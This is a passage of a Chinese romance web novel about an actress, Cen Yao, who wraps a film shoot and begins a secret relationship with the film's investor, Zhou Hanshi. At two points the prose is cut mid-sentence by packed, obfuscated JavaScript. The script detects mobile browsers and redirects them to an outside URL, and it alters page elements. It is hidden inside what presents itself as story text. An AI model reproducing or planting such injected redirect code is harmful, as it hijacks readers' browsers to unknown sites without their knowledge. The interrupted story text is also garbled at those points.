“休息一会儿,酝酿一下情绪,然后重新过一遍。” 休息的时候,岑遥没有走远,和祁子亨待在一块。 祁子亨坐在椅子上,两腿伸长,发现徐铭没注意这边,便抓紧机会抱怨他吹毛求疵。 说了一堆话,却没等到回应。 祁子亨轻啧一声,转过头,便看见岑遥抱着臂站在一旁,微低着头,神情若有所思。 “还在琢磨呢?” “不是。” 她只是在看自己身上的衣服。 因为是接着上回中断的室外戏继续拍,她今天的造型是之前做过的。 周寒时的相机里存着很多张她穿这套衣服时拍的照片。 “我这套衣服好看吗?”岑遥忽然问道。 祁子亨歪在椅子上,将她上下端量一遍。 带盘扣的棉布裙,长发松松辫成一条垂在背后,脸上几乎没有上妆。 服饰都是为了贴合角色本身的情况设计的,说实话,这一身搭配单拎出来平平无奇,还有些土气,但套在她身上就文艺脱俗。 祁子亨抬一抬眼,又去看她的脸。 岑遥注意到,侧过身朝他笑笑。 对了,就是这种感觉。 他一直觉得明媚而忧伤这个说法用来形容岑遥很贴切,她像活在高山上的一株稀有植被,瞧着生机勃勃,又带点孤傲的寒气,不是别人想摘就能摘下来的。 “怎么不说话?”岑遥奇怪地看他。 “还行吧。” 祁子亨故意给出不走心的评价,本以为岑遥会和他呛两句,但她只是“哦”了一声就转过去,继续放空。 “聊什么呢?” 不远处,李闵芝笑着走过来。 岑遥同她打招呼:“闵芝姐你来了。” “嗯,我听徐铭说你俩NG两次了。” 祁子亨长叹一口气,懒得再提。 岑遥说:“徐导刚刚给我们讲过戏,我大概懂了。” 跳不出自己的性格确实是她拍戏时偶尔会出现的问题,但今天不是因为这个原因,是对剧情的理解出了偏差。 听她这么说,李闵芝挺有兴趣的,“你说说看,怎么又懂了?” 岑遥略一思忖,“因为把自己代入进这段剧情之后,我的失望更多,我以为这里需要突出的是心灰意冷,但徐导想要表达的是很喜欢但只能割舍。” 李闵芝会意,“你觉得这个时候对陈琅的感情还没那么深是吧?” “嗯,其实我没怎么感受到年轻陈琅的魅力。” “确实。”李闵芝笑,又看着祁子亨说:“陈琅这个人物,中年的时候才成熟,形象也更饱满。” 祁子亨一摊手,“你俩直接说不喜欢我得了。” 又聊几句,有助理过来叫他们。 重新开拍前,徐导又叮嘱了几句。 “记得要遗憾啊,想象一下,这次分手从你俩的视角来看,就是相当于老死不相往来,以后没关系了。” 想着这几句话,岑遥慢慢走到自己的站位上,祁子亨在她对面。 相视而立时,岑遥看着祁子亨,却想到了周寒时离开青夷山的前一晚,她和他见的最后一面。 如果那天把话说死了,是不是就像徐导说的那样? 心头忽然涌上一种复杂的情绪。 打板后,岑遥带着这种情绪演完整场戏,直到导演喊“卡”,她还有些晃神。 - 下午收工后,岑遥趁着工作人员整理场地时独自在附近转了转。 片场在山脚下,这里有一片湖。 她和周寒时也来过这儿,那是个阴天,湖面沉静,映照着铅灰色的天空,不像今天这样泛着粼粼的碧波,日光带着温度,连风都柔和。 如果周寒时没有离开,或者已经忙完回到这里,就能看到了。 她忽然感到可惜。 等意识到的时候,岑遥才发现自己又想到了他。 她原本想将这段时间作为彼此的冷却期,以为自己可以心无旁骛。 但她没有做到。 甚至是在想到就此断开这点浅薄的联系后,她可以不费力地演出遗憾。 岑遥以前也遇到过追求者,大多都是在剧组结识的,特定情境下的朝夕相处,难免会让人产生错觉。他们中的个别人比周寒时浪漫大胆,追人的手段层出不穷。 她没被打动过,倒不是反感快餐式恋爱,在周寒时出现之前,她以为自己不需要。 不需要用这种短而强烈的情感填补寂寞。 但他出现之后,她却忍不住流连忘返。是她太孤单了吗?可这么多年也这样过来了,比这更难熬的日子,她都没有想过要找一个人陪伴。 岑遥在当天夜里问小畅。 夜谈以“我有一个朋友”开头。 “我这个朋友不是浑浑噩噩的人,她目标挺明确的,虽然没谈过恋爱,但对这件事也不怎么期待,有天一个异性和她表白了,她拒绝之后却有点于心不忍,你觉得是为什么?” “喜欢他?” “不不不,”岑遥摇头,“他俩认识没多久啊,没怎么相处过,而且她对他也不是很了解,不会这么草率的。” “那换个说法,他是你的理想型。”说完,小畅自觉失言,又补救般改口为“你朋友的理想型”。 岑遥笑笑,“无所谓。” 她还没有思考过自己的理想型是什么,但回想一下周寒时的长相和气质,貌似每一点都符合她的审美。 “是312那位吗?”小畅问。 “嗯。” “我猜到啦。”她和岑遥同住,或许别人不会注意,但她对岑遥的动向一清二楚。 “不过遥遥姐,你竟然没谈过恋爱吗?” “很稀奇?” “是有点,毕竟你这么漂亮,感觉是在读书时代就有很多人喜欢的那种。” 读书时代吗?岑遥想起那个时候的自己,穷困潦倒,庸碌无常,因为吃穿用度都差,半点气质都没有,怎么可能有人喜欢。 再往深想,脑袋就发胀,延伸出失重感,她按了按太阳穴,心道自己的后遗症还是没有好。 小畅又小心地问:“你拒绝他之后,他有生气吗?” “没,他很伤心。” 可能是这个词太直给,小畅一时难以想象。 但岑遥想表达的就单单只是字面意思。 “……就结束了?” 岑遥摇头,“他让我再考虑一下。” 这事儿可大可小,小畅不敢乱出主意,但忍不住想打听更多:“遥遥姐是怎么想的?” 岑遥仰躺在床上,放空地望着天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469487|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花板,很平静地低声喃喃:“我根本没计划过恋爱,俐姐知道肯定要给我做思想工作,小姨也会对我失望,我的事业刚刚开始有起色,万一……” 她的声音戛然而止。 因为她已经明白了,所有的顾虑都来源于外界,所有的蛊惑都来源于周寒时。 事到如今,也不得不承认,周寒时并不是一个她想忘就能忘掉的人。 她没办法再忽视自己内心的声音。 哪怕她早就习惯踽踽独行,明白如何选择才最稳妥,还是会被这颗不知名的行星吸引,偏离航线。 - 时隔四十多天,剧组一行人回到了城市。 城市部分的剧情拍摄地在北城。 岑遥剩下的戏份不多了,跟着剧组在酒店下榻,之后陆陆续续又拍了一周,便迎来她的杀青戏,祁子亨和她一起。 杀青当晚,剧组在片场开了几瓶香槟,订了花,给两人简单地庆祝了一下。 岑遥在这个剧组待得很开心。 两位主演和好几个配角都是四十出头的老演员,很欣赏岑遥这样既有天赋又努力的后辈,大家对她照顾有加,尤其是李闵芝,常常毫不吝啬地把自己的经验教给她,徐导也同样,有才气但脾气并不古怪,虽然要求严苛,但讲戏时细致入微,以鼓励为主,让她学到很多。 香槟打开,酒液喷射而出,众人齐齐欢呼,热闹哗然。 徐导拿着装了香槟的纸杯穿过人群走过来,在岑遥手里的纸杯上轻轻一碰。 “来,徐导祝你一路长虹,这次是咱们第一次合作,希望以后啊还能有机会二搭三搭,好好加油,一定会越走越高的。” 岑遥眼窝浅,哭戏手到擒来,但骨子里有股倔劲,面对恶意,一滴眼泪都挤不出,内心被打动的时候,反而哭得像受了委屈。 就像现在,她鼻腔就有些酸,努力抬了抬唇角,“谢谢徐导的信任和这段时间的栽培。” 她在一片掌声里举高纸杯,也敬了在场的工作人员一杯酒。 散场时,徐导说:“那我们就等正式杀青后再聚了。” 岑遥点点头,又和大家挥挥手说再见。 …… 片场在城市的CBD附近,回酒店的路上,岑遥坐在车里,望见四周的高楼霓虹。 这是她年少时憧憬过的景象,也是曾经执着的事——将自己的根一点点从那片乡土里剔除,移植到一个遥远的繁华都市里重新生根发芽。 原来她已经实现了最早的梦。 真好啊。 岑遥问小畅:“我是不是很棒?” 小畅不明所以但猛猛点头,“当然啦,你才发现吗?” 身为助理,她比大多数人都清楚岑遥的来时路。 娱乐圈的资源有限,不可能人人有份,同期竞争的演员们身上押着注,背后的大公司稍一运作,初露头角的岑遥便顶上莫须有的黑料。 而后整整一年,岑遥只拍了两部已经签下合同的电视剧,一部古装一部现代,都是配角,品牌活动更是和她无关。 境况是在去年上半年慢慢变好的。 互联网日新月异,风波过去后,岑遥出演的电视剧恰好开播,她在剧中的表现可圈可点,演技有目共睹,于是口碑慢慢扭转,还多了一批由剧粉转化的粉丝。 公司有其他新人在捧,原本已经对她不管不问了,但岑遥太争气,起点那么低,硬是凭借自己闯出一条路。 可能有些人看来很出乎意料,还要点评一句岑遥时运好,但小畅觉得,就算是运气,也不是每个人都能接住的。过去一年多里她跟着岑遥去各种大大小小的现场活动,无论台前还是幕后,岑遥都肯下功夫,兢兢业业地做好自己的工作,对接的很多主办方对她的印象都不错。 这样的人即使不做演员,也会出头的。 想到这些,小畅洋洋洒洒夸了一大堆话。 哪怕是天天见面的助理,岑遥也招架不住这么个夸法,笑着打断:“好了好了,我知道了。” 既然这样,那努力的小孩应该可以偶尔任性一次吧? 人要有一点秉烛夜游的心态。 11. 第十一幕 因为不能主动联系岑遥,从青夷山回来以后,周寒时只能将注意力放在其他事上。 年前在筹备的影视公司走完了注册流程和资质审查,公司没有放在他名下,由另外的职业经理人和几位分管负责打理,但这家公司是为了给岑遥以后的事业发展保驾护航的,他作为控股股东,不可能不上心,正式运营前的高层聘任和很多前期决策都要过问。 再加上本身的职务,他每天的工作量都很大,但这种忙碌不再让他感到无意义,他庆幸自己还有能力可以为她做点什么。 那些不公平的待遇,被截胡的机会,他不会再让她经历了。 忙碌完的夜晚,周寒时还是会想她。 他睡眠质量很差,半夜醒来,偶尔会觉得这一切都不真实,需要反复去确认她还存在。 失眠时干脆将岑遥的作品翻出来一遍遍地看,用一个顶着自定义头像和网名的账号,在她社交账号的私信里留言。 算算日子,岑遥也该从山里出来了。 可这么多天过去了,她没有联系过他。 因为她提的要求,他想刷好感度都没有办法。 她还没有想好?还是她在骗他,这只是她为了甩开他找的借口? 周寒时什么把握都没有。 他还记得岑遥十七岁时憧憬过的以后,她说想去离家很远的地方,得知他的家在漴城,就和他约定好来漴城读大学。 但后来她出了事,他不在她身边,甚至到现在都不清楚发生了什么。 过去这么多年,没有他,她也过得不错,如今哪怕记起他又怎样,旧情谊变得不值一提,她没有什么必须接受他的理由。 周寒时总是回想在青夷山的那个夜晚,分析细枝末节,猜测她的态度。 他对她来说会不会也有些不一样? 周寒时不知道,他唯一可以确定的是这辈子到死都不会再离开她了。 - 《碧血》终于正式杀青。 杀青的第二天,趁着几位主演和制片还在北城,徐导让自己的助手安排了杀青宴。 因为前几个月一直困在山里,岑遥的几个代言和剧宣活动堆积到一起,这些天的行程分散在不同城市,忙得脚不沾地。 但《碧血》对她来说也是一部特别的作品,徐铭最早向她表明合作意向时,大众对她的认可度远没有现在高,这份信任给了她很大的鼓励。 所以杀青宴这天,她还是赶回了北城,只是到的比较晚,进包间时,已经来了很多人。 岑遥笑着道歉:“不好意思啊大家,路上耽误了点时间。” “没事,人没来齐呢。”李闵芝对她招招手,示意她来自己旁边的位置上坐。 今天来了不少人,好几位戏份不多的小配角都在,岑遥环视一圈,没想起来还漏了谁。 徐导在这时帮她解了惑:“待会儿周总也要来。” 这回《碧血》能顺利开拍,多亏了这位周总的助力。 他去年年末加上周寒时的微信,简单客套几句之后对面便没了下文。 因为以前碰到过一次临开拍前,资方忽然要求换主演换班底的事,而且周寒时不是专门做影视投资的,年纪又轻,徐铭不熟悉他,心里总没底。 于是年初时,他主动联系了周寒时,把顾虑摊开了讲,也表明了态度——在选角这事上,可以协商,但他得保留一定的话语权。 让徐铭意外的是,周寒时完全没有干涉他选角的打算。 但他也不是完全对这部电影不关心,他问了预计的开拍时间和取景地,开拍以后,他方不方便去片场。 徐铭虽然不爱琢磨人情世故,但搞创作的心思都细,思维也比常人发散得快,再联想起那次在饭局上的小插曲,他当时心里便有了些猜测。 之后《碧血》开拍,周寒时在青夷山待了一个月,每回到片场,视线都落在同一个人身上。 这还有什么不明白的? 人家从头到尾就是奔着岑遥来的。 刚刚说完周寒时今晚要来后,徐铭注意到岑遥脸上一晃而过的茫然,显然是不知情的。 那就说明这两人私底下没什么联系。 但他也知道周寒时还在惦记着。 今晚的杀青宴人太多,把投资方喊来不够正式,原本和方制片都定好了,他们私底下找个时间单独请周寒时吃顿饭,结果昨天下午,方制片把杀青的消息传达过去,周寒时听说杀青宴办在今晚,便主动提出要过来。 无意中当了回看客,没想到这么有意思,徐铭摇头笑笑,没再往下揣摩。 岑遥听到徐导的话之后,无可无不可地点了点头,不怎么关心的样子,但几乎是在同一时间,心底便升起一股期待,耳边闵芝姐说的话,她需要反应几秒才能给出回复。 不过来不及思考太多,包间的门便被推开。 众人一齐望过去,包间静了一瞬。 周寒时在方制片的陪同下进来。 方制片边往里走边向大家介绍他,“这位就是我们的投资人周总,这两天刚好在北城。” 岑遥感知到周寒时的目光,从他进门那瞬便牢牢锁住她,那一眼很深,却也短暂。 于是她知道了,他那天说的不是假话,他还在等。 离开青夷山时有些遮眼的头发理短了许多,他穿一身昂贵的定制西装,站在方制片身旁,微微颔首的样子,第一眼便给人强烈距离感,没有人会将现在的他与青夷山那位“摄影师”联系在一起。 那个周寒时独属于岑遥的记忆里。 岑遥依旧坐着,几个月前也是这样类似的情景,那时《碧血》这个故事还只存在于剧本里,她也还不认识他。 周寒时之于她是特别的,在那天晚上的饭局上就有预兆。 见到他的第一眼,她就记住了他。 今晚周寒时没有留下吃饭,来露个面便走了,确实像方制片说的那样,碰巧在北城,又碰巧有时间,顺道路过,就来看一眼。 他离开之后,杀青宴才开始,一顿饭吃得热闹,岑遥却心不在焉,直到散场时才松了口气。 回酒店的路上,她发消息问周寒时:【你现在在哪里?】 【在候机】 【回漴城?】 【嗯,明天有工作】 岑遥没想到他这么赶,【好,那等我回漴城后再找你吧】 【要见我吗?我现在回去】 【不用,工作要紧,我过几天就回去了】 这条消息发出去之后,那边不再回复。 岑遥握着手机等了一会儿。 大概六七分钟后,周寒时回复:【改签了,我现在回去,我在哪里见你】 岑遥看着他的消息,眨一眨眼,似乎也不意外。 她给他发了自己住的酒店定位和房号。 剧组聚餐的保密性不高,刚刚出来的时候还碰见几个拿着手机偷偷拍照的路人,约在酒店安全一些。 如今还有些麻烦的是,她还没来得及将自己的决定告诉俐姐。 但按照俐姐的脾气,先斩后奏和提前打个预防针的区别好像也不大。 周寒时来得很快。 岑遥回到酒店,还没有坐多久便又收到他的消息。 【我在门口】 她已经想了好几天,原本已经早就平静下来,可看到这条消息时,心脏却悬滞一瞬,继而怦怦疾跳。 岑遥起身,走过去给他开门。 可能顾忌着她的身份,周寒时在门开了一道窄缝之后便闪身进来,姿态算不上从容。 房门合上以后,他说:“我进来的时候走廊上没有别人。” 岑遥看着他,久违地笑出声,“没事的,我还没这么红。” 周寒时也勾了勾唇角,“迟早会的。” 她今天穿的是淡黄色长纱裙,外面套了件灰色针织衫,黑色长直发的一侧掖在耳后,像朵开在晚春的黄色小花。 然后,彼此都安静下来。 岑遥往里走,压一下裙角,在窗边的沙发上坐下,“我们坐着说。” 周寒时点头,跟了过去,在她对面坐下,他的手松松交握,搭在搁在两人中间的小圆几上。 岑遥问:“你不是刚好在北城吧?” “方制片说杀青了,请我来杀青宴,我刚好有空,就来看看。” “大老远赶来,怎么也不多留一会儿?” “我以为你没想好,还不愿意见我。” 所以刚刚在包间也只是克制地看了一眼,怕她生气。 以前的岑遥就偶尔被他惹生气,他喜欢她在他面前的小性子,她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17469488|201398||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心翼翼地长大,性格压抑太久,只有在全身心信赖的人跟前才会如此。 岑遥靠着椅背,低眸看着裙面,略有些紧张地理理裙摆。 “你已经考虑好了是吗?”周寒时问,语气里的惊喜不足,忐忑有余,岑遥如今行事周到谨慎,这么多天的断联,也许只是给他的缓冲期。 “我不确定自己是不是考虑好了,可能我更想结束这种悬而未定的状态。” 做下决定之前,她时常告诉自己,恋爱的时机未到。 可是等到什么时候才算是好时机呢? 她不知道。 也许到那时,她和周寒时早已不再联系了。 “所以,我想我们可以先试试。” 岑遥的上一句话就像是行刑前的判词,周寒时都做好了被她拒绝的准备,以至于愣了好几秒才领会她的意思。 他重新活了过来,“你是说,愿意和我在一起试试?” 岑遥轻轻点头,终于说出口之后,她反而都放松下来。 “但我还是有一些要求,也是我们恋爱的前提。” 她开始一一细数:“你知道,我的职业性质特殊,所以我们的恋情需要保密,不能像正常情侣那样经常约会,平时见面时也要配合我,不可以在公共场合举止亲密,还有就是,有时候行程排得太紧的话,我可能没有多少时间陪你。” “我说的这些,你能接受吗?” 把话说完后,她自己都觉得这恋爱谈得真麻烦,但再看周寒时,他脸上找不到一丝不情愿,眼里带笑,定定地看着她。 “你在听吗?” “在听,你说的这些都不是问题。” 岑遥低低“哦”一声,那些要求都是这几天夜里睡觉前慢慢琢磨的,有时想着想着还会有点不好意思,为一件还没有着落的事细细规划,感觉傻傻的。 她也好久没有这样天真过了。 这几年拍戏,将她的脸皮练出来,但还是头一回在现实生活里谈及感情,她不知道还要再说什么。 正想着,搁在桌子上的右手一热,她抬眼,看到周寒时双手握着她的手,轻轻贴在额前。 岑遥没动,就维持这个姿势问他:“你是改签到明天吗?会不会耽误工作,现在去机场还来得及吗?” “没事。”他回她的话,声音带点鼻音。 她听出来了,探身过去,望到一双泛红的眼,“怎么了啊?” 周寒时摇头,没有说话。 岑遥抽回手,起身走到他身旁,轻声问:“我让你等太久了吗?” “嗯,”他抬起脸,“岑遥,我真的等了很久。” 久到他以为眼前这一幕是幻觉。 “其实上周我的戏份杀青那天,我就想和你说的,但当时回不去漴城,我又觉得这种事还是当面聊比较合适,所以才拖了几天,我都没来得及和我经纪人说呢。” 岑遥说着,抬手摸了摸他的脸。 上回在青夷山,她就想这样做了。 岑遥穿着酒店的拖鞋,底子薄薄的,但因为是站着,还是比周寒时高出许多。 他仰视她,穿着一板一眼的正装,睫毛却是湿的,眼瞳映着光,和展示在人前的样子天差地别。 岑遥笑眯眯地说:“周寒时,你好爱哭啊。” 他不理会她的调侃,头一低,靠在了她身上。 不好意思了吗? 岑遥望着他的发顶。 他身后是房间的落地窗,窗外是浮华的夜色,楼层很高,高到马路上穿梭的车辆变得像微缩模型,如果是以前独处的时候,岑遥大概率会望着这样的夜景发呆,但现在她的注意力都被周寒时勾走了。 她只想研究他。 周寒时终于从她怀里抬起头,“……岑遥,我今天过来前,还以为你不会答应我。” “真的吗?那你还来得这么积极。” “因为我想见你。” 岑遥微愣,还是不太习惯他总是出其不意的像情话一样直白的语言。 “你为什么会答应我?”周寒时接着问。 这个问题,她也问过自己。 为什么会是周寒时? 她想不明白,也许会在以后找到答案。 当下的岑遥半开玩笑道:“因为我不想再让你掉眼泪了。” 12. 第十二幕 岑遥发现周寒时很快便适应了他的新身份。 在知道她还要在北城待一天后,次日上午,他就带着打包好的餐盒一起过来。 岑遥下午才出门,所以早上多睡了一会儿,刚好卡在前一晚和周寒时约好的时间点起床。 刚睁眼不久,便听见门铃。 她还没习惯自己非单身的状态,以为门外是小畅,掀被起床,走到房门口准备开门时才醒过神,意识到外面站着的应该是自己的新晋男友。 但总不能将人关在门外。 于是直接开了门,顶着一夜未梳理的长发,她甜甜问候:“早上好呀。” “早上好。”周寒时侧身进来,径直往里走,将手里的东西找了个位置放下,又折返回岑遥面前。 “干嘛?” “想抱抱你。” 岑遥微微睁圆眼睛,有点害羞地顾左右而言他,“昨晚不是抱过吗?” 她转过身去洗漱。 周寒时跟着凑近一些,站在她斜后的位置。 盥洗台在外部,从镜子中可以看到他,岑遥边刷牙边观察他。 他今天没穿正装,不过能看出来是做过搭配的。 鼠灰色的开司米线衫,内搭淡条纹衬衣,下身是黑色长裤,有点谦谦公子的感觉,但他气质冷郁,样貌优越到凌人,少了庸常作中和,就不会显得过于文雅。 好奇怪。 怎么会有一个人,从头到脚都让她觉得尤为顺眼,就像是为她量身打造的一样。 胡思乱想地慢吞吞洗漱完,岑遥才转过来面朝他,后背靠着台面,她唇边抿出一道浅笑,朝乖乖等待的周寒时招了招手。 等他走近后,她伸出胳膊,主动环抱住他的腰腹。 这个拥抱比昨晚的更长久,比在青夷山的那次更亲密无间。 抱了一会儿,岑遥紧了紧胳膊,又微微后仰地看他:“周寒时,你好瘦啊,工作太辛苦了吗,还是肠胃不好?” 这句话她也想说很久了。 周寒时眼神微凝,迟疑地发问:“……是不好看吗?” “没有啊,够好看了,你知道吗,昨天你从包间离开之后,好多人讨论你,都在说你帅得不像做生意的,像明星。我只是随便一说啦,其实不影响健康的话,怎么样都没事。” “我有时候……胃口不是很好,以后会尽量多吃一点。” 说完,他又俯身,重新将岑遥拉进怀里。 岑遥无奈地笑,“刚刚都抱了很久了。” 他充耳不闻,固执道:“再抱一会儿。” 良久后分开,她坐到桌旁,想看看周寒时带了什么早餐。 餐袋和餐盒都有保温层,打开时还热气上浮。 他带的都是中式早点,花样好多,汤包、生煎、裹着培根和酱料的蛋饼……没有一个不是岑遥喜欢吃的。 只是为了控油控碳水,她这几年吃得比较少,大多时候都是应付一口,吃点干巴巴的碱水面包。 没想到周寒时的口味和她一样。 岑遥挑挑拣拣,准备每样都尝一点。 周寒时陪她一起吃。 中途,手机进了一通电话,他起身走到窗边去接。 他语调平和,声音也不大,但房间就这么大,他又没有刻意回避,岑遥听得七七八八,前半段和工作有关,后半段又听到“陪女朋友”几个字眼。 等到周寒时坐回她身旁时,她说:“你是什么职位来着,工作时间好灵活。” 周寒时说:“我记得我给你递的名片上有写。” “哦,你说那个啊,我看了一眼就丢掉了。”岑遥想起那天晚上,皱起眉,“周寒时,说实话,我对你的第一印象很差。” 周寒时有所预料,但听她这样直言,还是有点受伤。 不过无论是什么原因,他那天晚上确实失态,冒犯了她,他诚恳认错,“对不起,我和你道歉好不好,那天晚上,我……” 他停顿下来,在想该怎么解释。 “我知道,你对我一见钟情了是吧?”岑遥见他面露难色,贴心接话。 周寒时窥见她眸中的狡黠,忍俊不禁。 这个说法倒也贴切。 在那晚之前,他觉得自己和她之间的记忆已经久远得像上辈子的事了。 一见钟情的人也许都带着前世的缘分。 那她呢? 什么时候能想起“前世”的记忆。 如果全部想起来的时候,会不会更加怪罪于他。 他看着岑遥,伸出手捏了捏她的脸。 岑遥轻“啊”一声,表情吃痛。 他旋即松了手,检查她依旧白皙如常的面颊,“弄疼了?” 她得逞一笑,眉眼弯得可爱,“演的啦,怎么样?” 周寒时点评:“老戏骨。” 岑遥今天下午没有正儿八经的工作安排,但要去一趟经纪公司,俐姐在那边等她。 她的商务都是由经纪人和公司商务板块的负责人对接,因为这会儿刚好在北城,趁着方便,就过去聊聊新的商务合约和档期安排。 外出时小畅都会陪着岑遥,今天也不例外,午饭时间过后,她准时来找岑遥。 小畅称呼周寒时为“周总”。 她之前见过周寒时几次,但都没有什么接触,今天才正式打了招呼。 头一次在岑遥私人空间见到异性,小畅刚开始还会有些拘谨,不过没多久就放松了下来。 周寒时的气场并不弱,但同岑遥说话时总是温声细语,哪怕她只是在自顾自地低头回消息,收拾着外出用的挎包,他的视线也几乎没有从她身上挪开过。 温柔到哪怕是旁观者都能感受到宠溺。 这才是真情侣啊。 小畅忍不住偷偷嗑了一口。 临出门前,岑遥拍拍小畅的肩,“你先走,我一会儿就出去。” 小畅秒懂,比了个“OK”,“那我先去楼下哦。” 等人走后,房间又只剩下岑遥和周寒时。 “你要先回去吗?还是……” 周寒时摇头,“我不走。” “好,那你就在我这儿待着吧。”岑遥随他选择,看了眼时间,“我估计用不了多久就回来了,晚上刚好还能一起吃顿饭。” - 如岑遥所想的一样,商务的事情没有聊多久便基本敲定好了,只差正式合同拟好,签字生效,因为就目前而言,可供她挑拣的余地并不多。 但在其他人离开小会议室之后,岑遥没有动,她的右手边坐着经纪人。 袁俐四十出头,穿着款式不算时兴的卡其色短风衣,棕色及肩发烫得微微卷,打扮得并不像在内娱从业,也不够职场,正翻着手里印着商务信息的文件。 她头也没抬,“什么事啊?刚刚那个粉饼代言的分成不满意?” “不是,俐姐,我恋爱了。” 在来公司的路上,岑遥就已经想好了,这会儿没再踌躇不定。 袁俐手上的动作一顿,抬眼,“没跟我开玩笑?” 岑遥点头。 她坦白得利落,但心里仍旧打鼓,她不是肆意妄为的人,而且这两年能走下来,离不开俐姐的尽心尽力,她也记得俐姐曾经的忠告——情情爱爱能避则避。 袁俐沉默,飞快地将岑遥最近搭档过的男艺人想了一遍,以前岑遥的大部分行程,都有她跟着,也就从去年年底开始,她被暂时派了个带新艺人的工作,左支右绌,这才放手一段时间。 忽然,她表情凝重,“不会是祁子亨吧?” “不是的,他不是演员。” “圈外人?” “嗯,他……是《碧血》的投资人。” 这完全在袁俐的意料之外,她只在方制片那里听过一次投资人的来历,除此之外,她一点也不了解对方。 “岑遥,我不是想责怪什么,你是成年人,我没有正当的权利干涉和控制你,但我希望你好,恋爱可以谈,可能还会帮你丰富阅历、提升演技,但我之前劝你近几年不要恋爱,是担心你的事业会被影响。” “俐姐,我不会为了恋爱耽误工作的。” 袁俐神色了然,“我知道,我知道你不会,但不可控因素很多,你单方面严防死守不代表就会万无一失,这点你要清楚。” 岑遥点头。 “在一起多久了?” “昨天确定的。” 袁俐笑了,叹口气,“我怎么还挺欣慰的 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从公司出来,了却一桩心事,岑遥心里轻松许多。 再回酒店,刷房卡进去后,室内一片安静。 想到周寒时就在这里,她莫名有种金屋藏娇的感觉。 往里走两步,左右看看,一时却没看到他在哪儿。 出去了吗? 正疑惑着,再一转身,岑遥忽然看到沙发上躺着的人。 那么高的个子,侧身蜷在不大的沙发上,看着都难受。 她走过去,在沙发边蹲下,抱膝看他。 这么近的距离,在他脸上都找不出什么瑕疵,睫毛好长,睡着了,眉心却没有舒展。 做了不好的梦吗? 岑遥推推他,他没有睡太沉,轻轻一碰便醒了。 “你怎么不在床上睡啊?” 他刚醒,神色和嗓音都带着浓浓倦意,“你回来了?” “是啊,我刚进来。” “你还会走吗?”他声音很低,像害怕惊扰了什么似的,惘惘地看着她。 岑遥不明所以,“走?我走去哪里?” 她笑起来,“周寒时,你睡迷糊了?没睡够的话,去床上再睡会儿吧。” 天花板上顶灯的光落进周寒时眼底,好半天,他才分清眼前人。 怕自己又失态,他起身,去盥洗台洗了把脸才重新回来,坐到岑遥身边。 她低头看着手机,屏幕上是一家餐厅的小程序界面,“晚饭我们就在房间吃吧,你有什么想吃的吗?” “我都可以,和你一样就行。” “我今晚吃轻食沙拉哎,那个不好吃,算了,我看着给你点吧。” 岑遥一边选,一边问他:“我明早八点的高铁去宜州,你呢,明天几点的飞机?” 周寒时默然片刻,“我能和你一起去吗?” 他认真问询的语气不像是随口一说,岑遥偏过脸看他,眸中诧异。 这一眼,又将他引过来。 周寒时的手臂从她腰后环过,将她圈到身前,“我们昨晚才确认关系,这么快又分开,我心里很不踏实,总觉得不真实。” “周寒时……你怎么可怜巴巴的?”岑遥放下手机。 如果不是亲眼所见,她绝对不会相信他恋爱时是这副模样。 “那你可怜可怜我?”他半点都不介意在她面前示弱。 岑遥的心变得好软,注视他棕褐色的双眸,“怎样你才会觉得真实一点呢?” 他垂眼,在她脸上逡巡几息,而后慢慢地凑近,在她唇上轻碰。 他的唇是凉的。 陌生触感让岑遥的头皮麻了一下,但周寒时只是覆上去,他没有继续深入,也没有其他动作。 像一种试探。 岑遥试着给了一点回应,轻吮了他的唇。 只一下,便传递出许可的信息。 下一秒,周寒时整个人逼近,将她抵到沙发的靠背上,唇瓣紧贴。 原来接吻是这种感觉。 岑遥晕乎乎地想。 人类是怎么发现可以用这种方式示爱的? 13. 第十三幕 岑遥和周寒时在感情里的行事作风大相径庭。 短缺的安全感和这些年锻造出的独立,让岑遥不会展示出自己累加的筹码。 哪怕她对周寒时的喜欢在相处中与日俱增,她也会像藏拙一般掩饰住。 而周寒时不一样。 他总是恨不得将自己剖开,把一颗心完完整整地呈现给她才甘心。 每次分离前,他都像只患有分离焦虑的小狗,亦步亦趋地黏在她身旁。 明明在外人面前,他的情绪淡到几乎无法辨别,冷静而理性,工作上更是能力超群。 岑遥偶尔也疑惑,是性格使然,才让他在恋爱里更黏人,还是唯独对她这样? 为了补偿他,岑遥将自己在漴城的公寓密码告诉他,她在外工作时,允许他随意进出那里。 周寒时常常在她的公寓里留宿,因为他说那里有她的气息,让他感到心安。 他对她的依赖近乎一种执念,常常令她愕然,但岑遥是喜欢的。 他还想了解她更多,刚在一起时,无意中问到过她的从前。 岑遥当时沉默地看了他一会儿。 她不想对他撒谎,因为谎言像会增生的瘢痕,一旦落下一道,就会慢慢累加,也因为周寒时太过赤诚,她不忍连亲近的人都欺骗。 况且,她也不想将过去的自己抹杀得干干净净。 所以她选择坦诚,但不全盘托出,“我的过去有点长,等我想好怎么说,再找机会告诉你好吗?” 周寒时就点头,说好。 他很好哄,也愿意迁就她的有所保留 相处久了,岑遥在和周寒时聊天时,偶然得知了他的家世。 刚知道的时候,她错愕地扬声:“你怎么都没告诉过我?” 他无辜地笑:“抱歉,我以为我和你说提过。” “没有。”岑遥很确信地告诉他:“你记错了,我根本不知道。” 她又开玩笑地说:“以后我们分手了的话,你可不要封杀我。” 